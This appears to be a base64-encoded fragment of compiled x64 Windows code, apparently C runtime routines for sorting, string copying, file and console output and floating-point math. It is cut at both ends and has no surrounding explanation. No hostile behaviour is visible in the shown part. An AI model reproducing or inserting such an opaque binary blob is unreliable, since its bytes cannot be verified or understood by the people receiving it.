EAABMjXr/TA+v/UwD+UUz7TPSSYvHSSvESPf1SI1wAUiD/gh3Kk2LzkyLxUmL10mLzOh5/v//SYPtAQ+ILgIAAE6LZOwgTou87BACAADrwUjR7kmLzkgPr/VJA/T/FU08AABIi9ZJi8xB/9aFwH4pTIvFSIvWTDvmdB5Ni8xMK84PtgJBD7YMEUGIBBGICkiNUgFJg+gBdehJi87/FQ48AABJi9dJi8xB/9aFwH4pTIvFSYvXTTvndB5Ni8xNK88PtgJBD7YMEUGIBBGICkiNUgFJg+gBdehJi87/Fc87AABJi9dIi85B/9aFwH4qTIvFSYvXSTv3dB9Mi85NK8+QD7YCQQ+2DBFBiAQRiApIjVIBSYPoAXXoSYvcSYv/ZpBIO/N2I0gD3Ug73nMbSYvO/xV6OwAASIvWSIvLQf/WhcB+4kg783ceSAPdSTvfdxZJi87/FVc7AABIi9ZIi8tB/9aFwH7iSCv9SDv+dhZJi87/FTk7AABIi9ZIi89B/9aFwH/iSDv7ckBMi8VIi9dIO990JEyLy0wrz2YPH0QAAA+2AkEPtgwRQYgEEYgKSI1SAUmD6AF16Eg79w+FX////0iL8+lX////SAP9SDv3cyNIK/1IO/52G0mLzv8VzjoAAEiL1kiLz0H/1oXAdOJIO/dyHkgr/Uk7/HYWSYvO/xWrOgAASIvWSIvPQf/WhcB04kmLz0iLx0gry0krxEg7wXwmTDvncxBOiWTsIEqJvOwQAgAASf/FSTvfD4P2/f//TIvj6cj9//9JO99zEEqJXOwgTom87BACAABJ/8VMO+cPg9D9//9Mi//pov3//0yLrCQgBAAASIu8JCgEAABIi7QkMAQAAEiLnCQ4BAAATIu8JBgEAABIi4wkAAQAAEgzzOjZdf//SIHEQAQAAEFeQVxdw0iJXCQIV0iD7CBFM9JMi9pNhcl1LEiFyXUsSIXSdBToANn//7sWAAAAiRjo1Nf//0SL00GLwkiLXCQwSIPEIF/DSIXJdNlIhdJ01E2FyXUFRIgR695NhcB1BUSIEevATCvBSIvRSYvbSYv5SYP5/3UVQYoEEIgCSP/ChMB0KUiD6wF17eshQYoEEIgCSP/ChMB0DEiD6wF0BkiD7wF150iF/3UDRIgSSIXbdYdJg/n/dQ5GiFQZ/0SNU1Dpc////0SIEehc2P//uyIAAADpV////8zMSIPsWEiLBbXWAABIM8RIiUQkQDPATIvKSIP4IEyLwXN3xkQEIABI/8BIg/ggfPCKAusfD7bQSMHqAw+2wIPgBw+2TBQgD6vBSf/BiEwUIEGKAYTAdd3rH0EPtsG6AQAAAEEPtsmD4QdIwegD0+KEVAQgdR9J/8BFighFhMl12TPASItMJEBIM8zoanT//0iDxFjDSYvA6+noY37//8zMzEUzwOkAAAAASIlcJAhXSIPsQEiL2kiL+UiFyXUU6I7X///HABYAAADoY9b//zPA62JIhdJ050g7ynPySYvQSI1MJCDowMf//0iLTCQwg3kIAHUFSP/L6yVIjVP/SP/KSDv6dwoPtgL2RAgZBHXuSIvLSCvKg+EBSCvZSP/LgHwkOAB0DEiLTCQgg6GoAwAA/UiLw0iLXCRQSIPEQF/DzMxIg+wo6M/j//8zyYTAD5TBi8FIg8Qow8xAVUFUQVVBVkFXSIPsYEiNbCQwSIldYEiJdWhIiX1wSIsFQtUAAEgzxUiJRSBEi+pFi/lIi9FNi+BIjU0A6A7H//+LtYgAAACF9nUHSItFCItwDPedkAAAAEWLz02LxIvOG9KDZCQoAEiDZCQgAIPiCP/C/xUvNQAATGPwhcB1BzP/6fEAAABJi/5IA/9IjU8QSDv5SBvASIXBdHVIjU8QSDv5SBvASCPBSD0ABAAASI1HEHc6SDv4SBvJSCPISI1BD0g7wXcKSLjw////////D0iD4PDoRnv//0gr4EiNXCQwSIXbdHnHA8zMAADrHEg7+EgbyUgjyOj3xP//SIvYSIXAdA7HAN3dAABIg8MQ6wIz20iF23RITIvHM9JIi8voq4z//0WLz0SJdCQoTYvESIlcJCC6AQAAAIvO/xVmNAAAhcB0GkyLjYAAAABEi8BIi9NBi83/FfQ1AACL+OsCM/9Ihdt0EUiNS/CBOd3dAAB1Beg8xP//gH0YAHQLSItFAIOgqAMAAP2Lx0iLTSBIM83oCXL//0iLXWBIi3VoSIt9cEiNZTBBX0FeQV1BXF3DzMzMQFVBVEFVQVZBV0iD7GBIjWwkUEiJXUBIiXVISIl9UEiLBY7TAABIM8VIiUUISGNdYE2L+UiJVQBFi+hIi/mF234USIvTSYvJ6KMNAAA7w41YAXwCi9hEi3V4RYX2dQdIiwdEi3AM952AAAAARIvLTYvHQYvOG9KDZCQoAEiDZCQgAIPiCP/C/xVnMwAATGPghcAPhHsCAABJi9RJuPD///////8PSAPSSI1KEEg70UgbwEiFwXRySI1KEEg70UgbwEgjwUg9AAQAAEiNQhB3N0g70EgbyUgjyEiNQQ9IO8F3A0mLwEiD4PDofnn//0gr4EiNdCRQSIX2D4T6AQAAxwbMzAAA6xxIO9BIG8lII8joK8P//0iL8EiFwHQOxwDd3QAASIPGEOsCM/ZIhfYPhMUBAABEiWQkKESLy02Lx0iJdCQgugEAAABBi87/FaIyAACFwA+EnwEAAEiDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1UyLfQCDZCQoAEmLz0iDZCQgAOgwzv//SGP4hcAPhGIBAABBuAAEAABFheh0UotFcIXAD4ROAQAAO/gPj0QBAABIg2QkQABFi8xIg2QkOABMi8ZIg2QkMABBi9WJRCQoSYvPSItFaEiJRCQg6NfN//+L+IXAD4UMAQAA6QUBAABIi9dIA9JIjUoQSDvRSBvASIXBdHZIjUoQSDvRSBvASCPBSTvASI1CEHc+SDvQSBvJSCPISI1BD0g7wXcKSLjw////////D0iD4PDoKHj//0gr4EiNXCRQSIXbD4SkAAAAxwPMzAAA6xxIO9BIG8lII8jo1cH//0iL2EiFwHQOxwDd3QAASIPDEOsCM9tIhdt0c0iDZCRAAEWLzEiDZCQ4AEyLxkiDZCQwAEGL1Yl8JChJi89IiVwkIOgKzf//hcB0MkiDZCQ4ADPSSCFUJDBEi8+LRXBMi8NBi86FwHVmIVQkKEghVCQg/xUaMQAAi/iFwHVgSI1L8IE53d0AAHUF6AfB//8z/0iF9nQRSI1O8IE53d0AAHUF6O/A//+Lx0iLTQhIM83ozW7//0iLXUBIi3VISIt9UEiNZRBBX0FeQV1BXF3DiUQkKEiLRWhIiUQkIOuUSI1L8IE53d0AAHWn6KfA///roMxIiVwkCEiJdCQQV0iD7HBIi/JJi9lIi9FBi/hIjUwkUOgbwv//i4QkwAAAAEiNTCRYiUQkQEyLy4uEJLgAAABEi8eJRCQ4SIvWi4QksAAAAIlEJDBIi4QkqAAAAEiJRCQoi4QkoAAAAIlEJCDoM/z//4B8JGgAdAxIi0wkUIOhqAMAAP1MjVwkcEmLWxBJi3MYSYvjX8PMzEiD7ChIhcl1GehC0f//xwAWAAAA6BfQ//9Ig8j/SIPEKMNMi8Ez0kiLDao4AQBIg8QoSP8ldzEAAMzMzEiJXCQIV0iD7CBIi9pIi/lIhcl1CkiLyujzv///61hIhdJ1B+inv///60pIg/rgdzlMi8pMi8HrG+ia6v//hcB0KEiLy+jqrf//hcB0HEyLy0yLx0iLDUE4AQAz0v8VUS8AAEiFwHTR6w3opdD//8cADAAAADPASItcJDBIg8QgX8PMzEiJXCQISIlsJBBIiXQkGFdIg+wgukAAAACLyugkwP//M/ZIi9hIhcB0TEiNqAAQAABIO8V0PUiNeDBIjU/QRTPAuqAPAADoRcr//0iDT/j/SIk3x0cIAAAKCsZHDAqAZw34QIh3DkiNf0BIjUfQSDvFdcdIi/MzyejPvv//SItcJDBIi8ZIi3QkQEiLbCQ4SIPEIF/DzMzMSIXJdEpIiVwkCEiJdCQQV0iD7CBIjbEAEAAASIvZSIv5SDvOdBJIi8//FUkvAABIg8dASDv+de5Ii8vodL7//0iLXCQwSIt0JDhIg8QgX8NIiVwkCEiJdCQQSIl8JBhBV0iD7DCL8TPbi8OB+QAgAAAPksCFwHUV6HvP//+7CQAAAIkY6E/O//+Lw+tkuQcAAADokcD//5BIi/tIiVwkIIsF6joBADvwfDtMjT3fNgEASTkc/3QC6yLoqv7//0mJBP9IhcB1BY1YDOsZiwW+OgEAg8BAiQW1OgEASP/HSIl8JCDrwbkHAAAA6I3A///rmEiLXCRASIt0JEhIi3wkUEiDxDBBX8PMSGPJSI0VfjYBAEiLwYPhP0jB+AZIweEGSAMMwkj/JT0uAADMSGPJSI0VWjYBAEiLwYPhP0jB+AZIweEGSAMMwkj/JSEuAADMSIlcJAhIiXQkEEiJfCQYQVZIg+wgSGPZhcl4cjsdHjoBAHNqSIv7TI01EjYBAIPnP0iL80jB/gZIwecGSYsE9vZEODgBdEdIg3w4KP90P+gYBwAAg/gBdSeF23QWK9h0CzvYdRu59P///+sMufX////rBbn2////M9L/FcAsAABJiwT2SINMOCj/M8DrFugVzv//xwAJAAAA6OrN//+DIACDyP9Ii1wkMEiLdCQ4SIt8JEBIg8QgQV7DzMxIg+wog/n+dRXovs3//4MgAOjWzf//xwAJAAAA606FyXgyOw1cOQEAcypIY9FIjQ1QNQEASIvCg+I/SMH4BkjB4gZIiwTB9kQQOAF0B0iLRBAo6xzoc83//4MgAOiLzf//xwAJAAAA6GDM//9Ig8j/SIPEKMPMzMxIg+wog/n+dQ3oZs3//8cACQAAAOtChcl4LjsN7DgBAHMmSGPJSI0V4DQBAEiLwYPhP0jB+AZIweEGSIsEwg+2RAg4g+BA6xLoJ83//8cACQAAAOj8y///M8BIg8Qow8xIiVwkCEiJdCQQV0iD7CBIi9mLQRQkAzwCdUqLQRSowHRDizkreQiDYRAASItxCEiJMYX/fi/oXej//4vIRIvHSIvW6FgMAAA7+HQK8INLFBCDyP/rEYtDFMHoAqgBdAXwg2MU/TPASItcJDBIi3QkOEiDxCBfw8xAU0iD7CBIi9lIhcl1CkiDxCBb6UAAAADoa////4XAdAWDyP/rH4tDFMHoC6gBdBNIi8vo6Of//4vI6LUFAACFwHXeM8BIg8QgW8PMuQEAAADpAgAAAMzMSIvESIlYCEiJcBhXQVZBV0iD7ECL8YNgzACDYMgAuQgAAADoTL3//5BIiz0EOAEASGMF9TcBAEyNNMdBg8//SIl8JChJO/50cUiLH0iJXCRoSIlcJDBIhdt1AutXSIvL6Afp//+Qi0MUwegNqAF0PIP+AXUTSIvL6Cv///9BO8d0Kv9EJCTrJIX2dSCLQxTR6KgBdBdIi8voC////4tUJCBBO8dBD0TXiVQkIEiLy+jE6P//SIPHCOuFuQgAAADoBL3//4tEJCCD/gEPREQkJEiLXCRgSIt0JHBIg8RAQV9BXl/DQFNIg+xAi9lIjUwkIOimu///SItEJCgPttNIiwgPtwRRJQCAAACAfCQ4AHQMSItMJCCDoagDAAD9SIPEQFvDzEiJXCQIV0iD7DCDZCQgALkIAAAA6De8//+QuwMAAACJXCQkOx3fNgEAdG5IY/tIiwXbNgEASIsE+EiFwHUC61WLSBTB6Q32wQF0GUiLDb42AQBIiwz56AEVAACD+P90BP9EJCBIiwWlNgEASIsM+EiDwTD/FScqAABIiw2QNgEASIsM+ehTuf//SIsFgDYBAEiDJPgA/8PrhrkIAAAA6AG8//+LRCQgSItcJEBIg8QwX8PMzEBTSIPsIEiL2YtBFMHoDagBdCeLQRTB6AaoAXQdSItJCOgCuf//8IFjFL/+//8zwEiJQwhIiQOJQxBIg8QgW8NIhckPhAABAABTSIPsIEiL2UiLSRhIOw2g0AAAdAXoxbj//0iLSyBIOw2W0AAAdAXos7j//0iLSyhIOw2M0AAAdAXoobj//0iLSzBIOw2C0AAAdAXoj7j//0iLSzhIOw140AAAdAXofbj//0iLS0BIOw1u0AAAdAXoa7j//0iLS0hIOw1k0AAAdAXoWbj//0iLS2hIOw1y0AAAdAXoR7j//0iLS3BIOw1o0AAAdAXoNbj//0iLS3hIOw1e0AAAdAXoI7j//0iLi4AAAABIOw1R0AAAdAXoDrj//0iLi4gAAABIOw1E0AAAdAXo+bf//0iLi5AAAABIOw030AAAdAXo5Lf//0iDxCBbw8zMSIXJdGZTSIPsIEiL2UiLCUg7DYHPAAB0Bei+t///SItLCEg7DXfPAAB0Beist///SItLEEg7DW3PAAB0Beiat///SItLWEg7DaPPAAB0BeiIt///SItLYEg7DZnPAAB0Beh2t///SIPEIFvDSIlcJAhIiXQkEFdIg+wgM/9IjQTRSIvwSIvZSCvxSIPGB0jB7gNIO8hID0f3SIX2dBRIiwvoNrf//0j/x0iNWwhIO/517EiLXCQwSIt0JDhIg8QgX8PMzEiFyQ+E/gAAAEiJXCQISIlsJBBWSIPsIL0HAAAASIvZi9Xogf///0iNSziL1eh2////jXUFi9ZIjUtw6Gj///9IjYvQAAAAi9boWv///0iNizABAACNVfvoS////0iLi0ABAADor7b//0iLi0gBAADoo7b//0iLi1ABAADol7b//0iNi2ABAACL1egZ////SI2LmAEAAIvV6Av///9IjYvQAQAAi9bo/f7//0iNizACAACL1ujv/v//SI2LkAIAAI1V++jg/v//SIuLoAIAAOhEtv//SIuLqAIAAOg4tv//SIuLsAIAAOgstv//SIuLuAIAAOggtv//SItcJDBIi2wkOEiDxCBewzPAOAF0Dkg7wnQJSP/AgDwIAHXyw8zMzIsFOjMBAMPMSIlcJAhMiUwkIFdIg+wgSYv5SYvYiwroKPj//5BIiwNIYwhIi9FIi8FIwfgGTI0FmC4BAIPiP0jB4gZJiwTA9kQQOAF0JOj9+P//SIvI/xVoJQAAM9uFwHUe6LXG//9Ii9j/FXQlAACJA+jFxv//xwAJAAAAg8v/iw/o6ff//4vDSItcJDBIg8QgX8OJTCQISIPsOEhj0YP6/nUN6JPG///HAAkAAADrbIXJeFg7FRkyAQBzUEiLykyNBQ0uAQCD4T9Ii8JIwfgGSMHhBkmLBMD2RAg4AXQtSI1EJECJVCRQiVQkWEyNTCRQSI1UJFhIiUQkIEyNRCQgSI1MJEjo/f7//+sT6CrG///HAAkAAADo/8T//4PI/0iDxDjDzMzMSIlcJAhVVldBVEFVQVZBV0iL7EiB7IAAAABIiwVjxAAASDPESIlF8Ehj8kiNBXotAQBMi/5Fi+FJwf8Gg+Y/SMHmBk2L8EyJRdhIi9lNA+BKiwT4SItEMChIiUXQ/xUxJAAAM9KJRcxIiRNJi/6JUwhNO/QPg2QBAABEii9MjTUoLQEAZolVwEuLFP6KTDI99sEEdB6KRDI+gOH7iEwyPUG4AgAAAEiNVeCIReBEiG3h60Xo8OL//w+2D7oAgAAAZoUUSHQpSTv8D4PvAAAAQbgCAAAASI1NwEiL1+hH4P//g/j/D4T0AAAASP/H6xtBuAEAAABIi9dIjU3A6Cfg//+D+P8PhNQAAABIg2QkOABIjUXoSINkJDAATI1FwItNzEG5AQAAAMdEJCgFAAAAM9JIiUQkIEj/x/8VjSMAAESL8IXAD4SUAAAASItN0EyNTchIg2QkIABIjVXoRIvA/xU/IwAAM9KFwHRri0sIK03YA8+JSwREOXXIcmJBgP0KdTRIi03QjUINSIlUJCBEjUIBSI1VxGaJRcRMjU3I/xUAIwAAM9KFwHQsg33IAXIu/0MI/0MESTv86bb+//+KB0uLDP6IRDE+S4sE/oBMMD0E/0ME6wj/FeAiAACJA0iLw0iLTfBIM8zoz2D//0iLnCTAAAAASIHEgAAAAEFfQV5BXUFcX15dw0iJXCQISIlsJBhWV0FWuFAUAADoHGn//0gr4EiLBVrCAABIM8RIiYQkQBQAAEiL2Uxj0kmLwkGL6UjB+AZIjQ1gKwEAQYPiP0kD6IMjAEmL8INjBABIiwTBg2MIAEnB4gZOi3QQKEw7xXNvSI18JEBIO/VzJIoGSP/GPAp1Cf9DCMYHDUj/x4gHSP/HSI2EJD8UAABIO/hy10iDZCQgAEiNRCRAK/hMjUwkMESLx0iNVCRASYvO/xXgIQAAhcB0EotEJDABQwQ7x3IPSDv1cpvrCP8V3CEAAIkDSIvDSIuMJEAUAABIM8zox1///0yNnCRQFAAASYtbIEmLazBJi+NBXl9ew8zMzEiJXCQISIlsJBhWV0FWuFAUAADoFGj//0gr4EiLBVLBAABIM8RIiYQkQBQAAEiL+Uxj0kmLwkGL6UjB+AZIjQ1YKgEAQYPiP0kD6IMnAEmL8INnBABIiwTBg2cIAEnB4gZOi3QQKEw7xQ+DggAAAEiNXCRASDv1czEPtwZIg8YCZoP4CnUQg0cIArkNAAAAZokLSIPDAmaJA0iDwwJIjYQkPhQAAEg72HLKSINkJCAASI1EJEBIK9hMjUwkMEjR+0iNVCRAA9tJi85Ei8P/FcEgAACFwHQSi0QkMAFHBDvDcg9IO/VyiOsI/xW9IAAAiQdIi8dIi4wkQBQAAEgzzOioXv//TI2cJFAUAABJi1sgSYtrMEmL40FeX17DSIlcJAhIiWwkGFZXQVRBVkFXuHAUAADo9Gb//0gr4EiLBTLAAABIM8RIiYQkYBQAAExj0kiL2UmLwkWL8UjB+AZIjQ04KQEAQYPiP00D8EnB4gZNi/hJi/hIiwTBTotkECgzwIMjAEiJQwRNO8YPg88AAABIjUQkUEk7/nMtD7cPSIPHAmaD+Qp1DLoNAAAAZokQSIPAAmaJCEiDwAJIjYwk+AYAAEg7wXLOSINkJDgASI1MJFBIg2QkMABMjUQkUEgrwcdEJChVDQAASI2MJAAHAABI0fhIiUwkIESLyLnp/QAAM9L/FbQfAACL6IXAdEkz9oXAdDNIg2QkIABIjZQkAAcAAIvOTI1MJEBEi8VIA9FJi8xEK8b/FVkfAACFwHQYA3QkQDv1cs2Lx0Erx4lDBEk7/ukz/////xVPHwAAiQNIi8NIi4wkYBQAAEgzzOg6Xf//TI2cJHAUAABJi1swSYtrQEmL40FfQV5BXF9ew8zMSIlcJBBIiXQkGIlMJAhXQVRBVUFWQVdIg+wgRYv4TIviSGPZg/v+dRjoJsD//4MgAOg+wP//xwAJAAAA6ZAAAACFyXh0Ox3BKwEAc2xIi/NMi/NJwf4GTI0tricBAIPmP0jB5gZLi0T1AA+2TDA4g+EBdEWLy+gJ8f//g8//S4tE9QD2RDA4AXUV6OW////HAAkAAADour///4MgAOsPRYvHSYvUi8voQAAAAIv4i8vo8/D//4vH6xvolr///4MgAOiuv///xwAJAAAA6IO+//+DyP9Ii1wkWEiLdCRgSIPEIEFfQV5BXUFcX8NIiVwkIFVWV0FUQVVBVkFXSIvsSIPsYDP/RYv4TGPhSIvyRYXAdQczwOmbAgAASIXSdR/oML///4k46Em////HABYAAADoHr7//4PI/+l3AgAATYv0SI0FxCYBAEGD5j9Ni+xJwf0GScHmBkyJbfBKiwzoQopcMTmNQ/88AXcJQYvH99CoAXSrQvZEMTggdA4z0kGLzESNQgLomggAAEGLzEiJfeDoavH//4XAD4QBAQAASI0FZyYBAEqLBOhC9kQwOIAPhOoAAADoFrT//0iLiJAAAABIObk4AQAAdRZIjQU7JgEASosE6EI4fDA5D4S/AAAASI0FJSYBAEqLDOhIjVX4SotMMSj/FfIcAACFwA+EnQAAAITbdHv+y4D7AQ+HKwEAACF90E6NJD4z20yL/old1Ek79A+DCQEAAEUPty9BD7fN6OYIAABmQTvFdTODwwKJXdRmQYP9CnUbQb0NAAAAQYvN6MUIAABmQTvFdRL/w4ld1P/HSYPHAk07/HML67r/FaccAACJRdBMi23w6bEAAABFi89IjU3QTIvGQYvU6M33///yDxAAi3gI6ZgAAABIjQVmJQEASosM6EL2RDE4gHRND77LhNt0MoPpAXQZg/kBdXlFi89IjU3QTIvGQYvU6Jv6///rvEWLz0iNTdBMi8ZBi9Too/v//+uoRYvPSI1N0EyLxkGL1Ohr+f//65RKi0wxKEyNTdQhfdAzwEghRCQgRYvHSIvWSIlF1P8V4hsAAIXAdQn/FfAbAACJRdCLfdjyDxBF0PIPEUXgSItF4EjB6CCFwHVoi0XghcB0LYP4BXUb6Bu9///HAAkAAADo8Lz//8cABQAAAOnH/f//i03g6I28///puv3//0iNBYkkAQBKiwToQvZEMDhAdAmAPhoPhHv9///o17z//8cAHAAAAOisvP//gyAA6Yb9//+LReQrx0iLnCS4AAAASIPEYEFfQV5BXUFcX15dw8zMzMzMzMzMzMzMzMzMzEiD7FhmD390JCCDPZMoAQAAD4XpAgAAZg8o2GYPKOBmD3PTNGZID37AZg/7Hd9zAABmDyjoZg9ULaNzAABmDy8tm3MAAA+EhQIAAGYPKNDzD+bzZg9X7WYPL8UPhi8CAABmD9sVx3MAAPIPXCVPdAAAZg8vNdd0AAAPhNgBAABmD1QlKXUAAEyLyEgjBa9zAABMIw24cwAASdHhSQPBZkgPbshmDy8lxXQAAA+C3wAAAEjB6CxmD+sVE3QAAGYP6w0LdAAATI0NdIUAAPIPXMryQQ9ZDMFmDyjRZg8owUyNDTt1AADyDxAdU3QAAPIPEA0bdAAA8g9Z2vIPWcryD1nCZg8o4PIPWB0jdAAA8g9YDetzAADyD1ng8g9Z2vIPWcjyD1gd93MAAPIPWMryD1nc8g9Yy/IPEC1jcwAA8g9ZDRtzAADyD1nu8g9c6fJBDxAEwUiNFdZ8AADyDxAUwvIPECUpcwAA8g9Z5vIPWMTyD1jV8g9YwmYPb3QkIEiDxFjDZmZmZmZmDx+EAAAAAADyDxAVGHMAAPIPXAUgcwAA8g9Y0GYPKMjyD17K8g8QJRx0AADyDxAtNHQAAGYPKPDyD1nx8g9YyWYPKNHyD1nR8g9Z4vIPWeryD1gl4HMAAPIPWC34cwAA8g9Z0fIPWeLyD1nS8g9Z0fIPWeryDxAVfHIAAPIPWOXyD1zm8g8QNVxyAABmDyjYZg/bHeBzAADyD1zD8g9Y4GYPKMNmDyjM8g9Z4vIPWcLyD1nO8g9Z3vIPWMTyD1jB8g9Yw2YPb3QkIEiDxFjDZg/rFWFyAADyD1wVWXIAAPIPEOpmD9sVvXEAAGZID37QZg9z1TRmD/ot23IAAPMP5vXp8f3//2aQdR7yDxANNnEAAESLBW9zAADougcAAOtIDx+EAAAAAADyDxANOHEAAESLBVVzAADonAcAAOsqZmYPH4QAAAAAAEg7BQlxAAB0F0g7BfBwAAB0zkgLBRdxAABmSA9uwGaQZg9vdCQgSIPEWMMPH0QAAEgzwMXhc9A0xOH5fsDF4fsd+3AAAMX65vPF+dstv3AAAMX5Ly23cAAAD4RBAgAAxdHv7cX5L8UPhuMBAADF+dsV63AAAMX7XCVzcQAAxfkvNftxAAAPhI4BAADF+dsN3XAAAMX52x3lcAAAxeFz8wHF4dTJxOH5fsjF2dslL3IAAMX5LyXncQAAD4KxAAAASMHoLMXp6xU1cQAAxfHrDS1xAABMjQ2WggAAxfNcysTBc1kMwUyNDWVyAADF81nBxfsQHXlxAADF+xAtQXEAAMTi8akdWHEAAMTi8akt73AAAPIPEODE4vGpHTJxAADF+1ngxOLRucjE4uG5zMXzWQ1ccAAAxfsQLZRwAADE4smr6fJBDxAEwUiNFRJ6AADyDxAUwsXrWNXE4sm5BWBwAADF+1jCxflvdCQgSIPEWMOQxfsQFWhwAADF+1wFcHAAAMXrWNDF+17KxfsQJXBxAADF+xAtiHEAAMX7WfHF81jJxfNZ0cTi6aklQ3EAAMTi6aktWnEAAMXrWdHF21nixetZ0sXrWdHF01nqxdtY5cXbXObF+dsdVnEAAMX7XMPF21jgxdtZDbZvAADF21klvm8AAMXjWQW2bwAAxeNZHZ5vAADF+1jExftYwcX7WMPF+W90JCBIg8RYw8Xp6xXPbwAAxetcFcdvAADF0XPSNMXp2xUqbwAAxfkowsXR+i1OcAAAxfrm9elA/v//Dx9EAAB1LsX7EA2mbgAARIsF33AAAOgqBQAAxflvdCQgSIPEWMNmZmZmZmZmDx+EAAAAAADF+xANmG4AAESLBbVwAADo/AQAAMX5b3QkIEiDxFjDkEg7BWluAAB0J0g7BVBuAAB0zkgLBXduAABmSA9uyESLBYNwAADoxgQAAOsEDx9AAMX5b3QkIEiDxFjDzEiJXCQISIl0JBBXSIPsIEhj2UGL+IvLSIvy6OHo//9Ig/j/dRHowrb//8cACQAAAEiDyP/rU0SLz0yNRCRISIvWSIvI/xUSFQAAhcB1D/8VQBUAAIvI6CG2///r00iLRCRISIP4/3TISIvTTI0FEh4BAIPiP0iLy0jB+QZIweIGSYsMyIBkETj9SItcJDBIi3QkOEiDxCBfw8zMzOlf////zMzMSIlcJAhXSIPsIEiL2UiFyXUV6DG2///HABYAAADoBrX//4PI/+tRg8//i0EUwegNqAF0Ouj76P//SIvLi/jomev//0iLy+iB0f//i8jo6gQAAIXAeQWDz//rE0iLSyhIhcl0CuibpP//SINjKABIi8voJgYAAIvHSItcJDBIg8QgX8PMSIlcJBBIiUwkCFdIg+wgSIvZM8BIhckPlcCFwHUV6KG1///HABYAAADodrT//4PI/+sri0EUwegMqAF0B+jWBQAA6+roo9L//5BIi8voKv///4v4SIvL6JzS//+Lx0iLXCQ4SIPEIF/DzMzMZolMJAhIg+w4SIsNYLwAAEiD+f51DOjVBQAASIsNTrwAAEiD+f91B7j//wAA6yVIg2QkIABMjUwkSEG4AQAAAEiNVCRA/xVtEwAAhcB02Q+3RCRASIPEOMPMzMxIi8RTSIPsUPIPEIQkgAAAAIvZ8g8QjCSIAAAAusD/AACJSMhIi4wkkAAAAPIPEUDg8g8RSOjyDxFY2EyJQNDokAkAAEiNTCQg6CrO//+FwHUHi8voKwkAAPIPEEQkQEiDxFBbw8zMzEiJXCQISIl0JBBXSIPsIIvZSIvyg+Mfi/n2wQh0E4TSeQ+5AQAAAOi8CQAAg+P361e5BAAAAECE+XQRSA+64glzCuihCQAAg+P76zxA9scBdBZID7riCnMPuQgAAADohQkAAIPj/usgQPbHAnQaSA+64gtzE0D2xxB0CrkQAAAA6GMJAACD4/1A9scQdBRID7rmDHMNuSAAAADoSQkAAIPj70iLdCQ4M8CF20iLXCQwD5TASIPEIF/DzMzMSIvEVVNWV0FWSI1oyUiB7PAAAAAPKXDISIsFKbIAAEgzxEiJRe+L8kyL8brA/wAAuYAfAABBi/lJi9jocAgAAItNX0iJRCRASIlcJFDyDxBEJFBIi1QkQPIPEUQkSOjh/v//8g8QdXeFwHVAg31/AnURi0W/g+Dj8g8Rda+DyAOJRb9Ei0VfSI1EJEhIiUQkKEiNVCRASI1Fb0SLzkiNTCRgSIlEJCDohAQAAOh7zP//hMB0NIX/dDBIi0QkQE2LxvIPEEQkSIvP8g8QXW+LVWdIiUQkMPIPEUQkKPIPEXQkIOj1/f//6xyLz+hwBwAASItMJEC6wP8AAOixBwAA8g8QRCRISItN70gzzOhvT///Dyi0JOAAAABIgcTwAAAAQV5fXltdw8zMzMzMzMzMzEBTSIPsEEUzwDPJRIkFnh4BAEWNSAFBi8EPookEJLgAEAAYiUwkCCPIiVwkBIlUJAw7yHUsM8kPAdBIweIgSAvQSIlUJCBIi0QkIESLBV4eAQAkBjwGRQ9EwUSJBU8eAQBEiQVMHgEAM8BIg8QQW8NIg+w4SI0F5YMAAEG5GwAAAEiJRCQg6AUAAABIg8Q4w0iLxEiD7GgPKXDoDyjxQYvRDyjYQYPoAXQqQYP4AXVpRIlA2A9X0vIPEVDQRYvI8g8RQMjHQMAhAAAAx0C4CAAAAOstx0QkQAEAAAAPV8DyDxFEJDhBuQIAAADyDxFcJDDHRCQoIgAAAMdEJCAEAAAASIuMJJAAAADyDxFMJHhMi0QkeOi3/f//DyjGDyh0JFBIg8Row8zMSIlcJAhMiUwkIFdIg+wgSYv5SYvYiwrodOL//5BIiwNIYwhIi9FIi8FIwfgGTI0F5BgBAIPiP0jB4gZJiwTA9kQQOAF0CejNAAAAi9jrDugssf//xwAJAAAAg8v/iw/oUOL//4vDSItcJDBIg8QgX8PMzMyJTCQISIPsOEhj0YP6/nUV6New//+DIADo77D//8cACQAAAOt0hcl4WDsVdRwBAHNQSIvKTI0FaRgBAIPhP0iLwkjB+AZIweEGSYsEwPZECDgBdC1IjUQkQIlUJFCJVCRYTI1MJFBIjVQkWEiJRCQgTI1EJCBIjUwkSOgN////6xvoZrD//4MgAOh+sP//xwAJAAAA6FOv//+DyP9Ig8Q4w8zMzEiJXCQIV0iD7CBIY/mLz+ho4v//SIP4/3UEM9vrV0iLBdsXAQC5AgAAAIP/AXUJQIS4uAAAAHUKO/l1HfZAeAF0F+g14v//uQEAAABIi9joKOL//0g7w3TBi8/oHOL//0iLyP8VZw4AAIXAda3/FZ0OAACL2IvP6ETh//9Ii9dMjQV6FwEAg+I/SIvPSMH5BkjB4gZJiwzIxkQROACF23QMi8voUK///4PI/+sCM8BIi1wkMEiDxCBfw8zMSIlMJAhMi9wz0kiJEUmLQwhIiVAISYtDCIlQEEmLQwiDSBj/SYtDCIlQHEmLQwiJUCBJi0MISIlQKEmLQwiHUBTDzMxIg+xISINkJDAASI0NF4EAAINkJCgAQbgDAAAARTPJRIlEJCC6AAAAQP8VkQ0AAEiJBUq2AABIg8RIw8xIg+woSIsNObYAAEiNQQJIg/gBdgb/FXkNAABIg8Qow8zMzMzMzMzMzMxmZg8fhAAAAAAASIPsCA+uHCSLBCRIg8QIw4lMJAgPrlQkCMMPrlwkCLnA////IUwkCA+uVCQIw2YPLgWagAAAcxRmDy4FmIAAAHYK8kgPLcjySA8qwcPMzMxIg+xIg2QkMABIi0QkeEiJRCQoSItEJHBIiUQkIOgGAAAASIPESMPMSIvESIlYEEiJcBhIiXggSIlICFVIi+xIg+wgSIvaQYvxM9K/DQAAwIlRBEiLRRCJUAhIi0UQiVAMQfbAEHQNSItFEL+PAADAg0gEAUH2wAJ0DUiLRRC/kwAAwINIBAJB9sABdA1Ii0UQv5EAAMCDSAQEQfbABHQNSItFEL+OAADAg0gECEH2wAh0DUiLRRC/kAAAwINIBBBIi00QSIsDSMHoB8HgBPfQM0EIg+AQMUEISItNEEiLA0jB6AnB4AP30DNBCIPgCDFBCEiLTRBIiwNIwegKweAC99AzQQiD4AQxQQhIi00QSIsDSMHoCwPA99AzQQiD4AIxQQiLA0iLTRBIwegM99AzQQiD4AExQQjo3wIAAEiL0KgBdAhIi00Qg0kMEKgEdAhIi00Qg0kMCKgIdAhIi0UQg0gMBPbCEHQISItFEINIDAL2